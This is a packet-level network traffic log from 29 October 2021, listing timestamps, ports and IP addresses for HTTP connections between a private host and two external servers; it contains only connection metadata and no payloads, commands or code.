Oct 29, 2021 17:56:11.564215899 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564225912 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564233065 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564256907 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564255953 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564265013 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564280033 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564282894 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564297915 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564316988 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564327002 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564333916 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564352989 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564368963 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564377069 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564384937 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564403057 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564420938 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564434052 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564439058 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564456940 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564472914 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564481020 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564491034 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564501047 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564508915 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564528942 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564531088 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564546108 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564565897 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564577103 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564588070 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564609051 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564613104 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564640999 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564687967 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564759016 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.567686081 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.610793114 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.671307087 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:13.175621033 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.175672054 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.238176107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.238207102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.340761900 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.371149063 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.371220112 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.433835983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.433969021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.550215006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.550281048 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.550339937 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.550390959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.550409079 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.550443888 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.550450087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.550510883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.550549030 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.550600052 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.550606012 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.550649881 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.550652027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.604758978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.604922056 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.613163948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613185883 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613202095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613219976 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613238096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613255024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613271952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613289118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613306046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613318920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613331079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613343000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:13.613368988 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:13.613395929 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.010494947 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.010554075 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.072918892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.072940111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.213001013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.254321098 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.254375935 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.316781998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.316826105 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444717884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444745064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444761038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444777966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444793940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444808006 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.444809914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444824934 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444843054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444875956 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.444880009 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.444904089 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.505127907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.505256891 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.507067919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507097006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507118940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507143974 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507158995 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.507196903 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.507762909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507791996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507817030 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507842064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507853031 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.507865906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507891893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507895947 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.507917881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507944107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507950068 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.507970095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.507999897 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.508004904 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.508027077 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.508050919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.508055925 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.508111954 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.567653894 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.567714930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.567755938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.567783117 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.567807913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.567853928 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.569561958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.569619894 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.569660902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.569684982 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.569703102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.569741011 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.569753885 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.569781065 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.569820881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.569834948 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.569860935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.569910049 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.570246935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570288897 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570328951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570342064 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.570369959 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570408106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570421934 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.570449114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570487022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570497036 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.570528030 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570569038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570575953 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.570606947 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570646048 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570662022 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.570687056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570724964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570740938 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.570765018 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570804119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570817947 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.570843935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570884943 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570899963 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.570924044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570962906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.570971012 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.571002007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.571038961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.571053982 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.571079016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.571120024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.571125984 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.571158886 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.571204901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.630265951 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.630321980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.630362988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.630382061 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.630403996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.630443096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.630456924 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.630482912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.630522966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.630537033 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.632172108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632277012 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632278919 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.632302999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632329941 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632354975 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632380009 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.632381916 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632405043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632410049 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.632433891 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632468939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632477999 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.632502079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632527113 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632550001 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632601976 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.632626057 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.632630110 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632656097 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632680893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632685900 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.632724047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.632796049 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.633625031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.633670092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.633713007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.633738995 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.633754969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.633786917 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.633796930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.633837938 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.633862019 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.633877039 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.633917093 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.633951902 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.633956909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634001017 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634023905 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634043932 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634097099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634145021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634185076 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634182930 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634222984 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634239912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634270906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634300947 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634334087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634351969 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634365082 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634406090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634443998 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634445906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634484053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634526014 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634527922 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634565115 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634572983 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634583950 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634604931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634644032 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634680986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634681940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634720087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634753942 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634758949 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634797096 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634819031 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634835005 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634874105 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.634890079 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.634907007 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.635348082 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.685856104 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.685890913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.685919046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.685945988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.685940027 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.685981035 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686009884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686013937 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.686031103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686080933 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.686203003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686233997 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686260939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686280966 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.686288118 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686307907 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.686379910 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686408043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686429977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686472893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.686499119 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.686567068 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686633110 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.686697960 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.692861080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.692887068 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.692903996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.692919016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.692940950 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.692959070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.692970037 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.692979097 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.692997932 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.693007946 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.693018913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.693037033 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.693054914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.693073988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.693073034 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.693089962 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.693115950 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.694793940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.694813013 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.694869041 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.694992065 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695039988 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695058107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695076942 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695096970 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695097923 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.695116043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695135117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695133924 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.695153952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695166111 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.695173025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695194960 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695207119 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.695214033 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695234060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695245028 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.695254087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695272923 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.695283890 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.695314884 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.697263956 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.697283983 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.697298050 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.697314978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.697345972 CEST	49856	80	192.168.2.6	45.141.84.21
